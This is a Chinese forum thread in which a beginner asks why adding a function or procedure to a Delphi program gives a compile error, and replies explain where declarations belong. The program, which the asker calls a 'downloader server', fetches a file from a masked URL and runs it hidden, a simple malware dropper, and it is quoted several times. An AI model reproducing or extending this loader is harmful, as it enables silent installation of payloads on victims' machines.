〓为什么我每次加function或procedure总出错.〓
不管拿到什么程序,比如一个下载者的服务端. DELPHI 怎么能这样折磨新手呀
program server;
uses URLMon,ShellApi;//Windows;
var
url: pchar ='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
lf: pchar ='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
function DownloadFile(SourceFile, DestFile: string): Boolean;
begin
try
Result := UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil) = 0;
except
Result := False;
end;
end;
begin
if DownloadFile(url, lf) then
begin
ShellExecute(0, PChar('open'), PChar(lf),PChar(''), nil, 0);
//winexec(PChar(l),SW_HIDE);
end;
只要在这里加上:function program server;
uses URLMon,ShellApi;//Windows;
var
url: pchar ='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
lf: pchar ='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
function DownloadFile(SourceFile, DestFile: string): Boolean;
begin
try
Result := UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil) = 0;
except
Result := False;
end;
end;
begin
if DownloadFile(url, lf) then
begin
ShellExecute(0, PChar('open'), PChar(lf),PChar(''), nil, 0);
//winexec(PChar(l),SW_HIDE);
end;
function … 只要在这里加上 就会出错,加上procedure这个也是一样.我实在搞不懂,帮助已经看了N遍.
错误代码:server.dpr(25): Statement expected but 'FUNCTION' found
end.
希望高手给我讲解一下,我想弄明白点.
[解决办法]
program 是表示主程序,类似main函数,谁让你加 function 或 procedure.
[解决办法]
不是不能加,而是加的地方不对!
你不看看原来的源码吗?不是加得好好的!?
function DownloadFile(SourceFile, DestFile: string): Boolean;
begin
try
Result := UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil) = 0;
except
Result := False;
end;
end;
//所有的自定义方法都在这儿加吧。在主程序入口之前加入就可以了。
begin//这儿是主程序入口地址了。。。。。
if DownloadFile(url, lf) then
begin
ShellExecute(0, PChar( "open "), PChar(lf),PChar( " "), nil, 0);
//winexec(PChar(l),SW_HIDE);
end;
[解决办法]
主程序单元好像无法再定义过程的,再加个单元或者合并吧。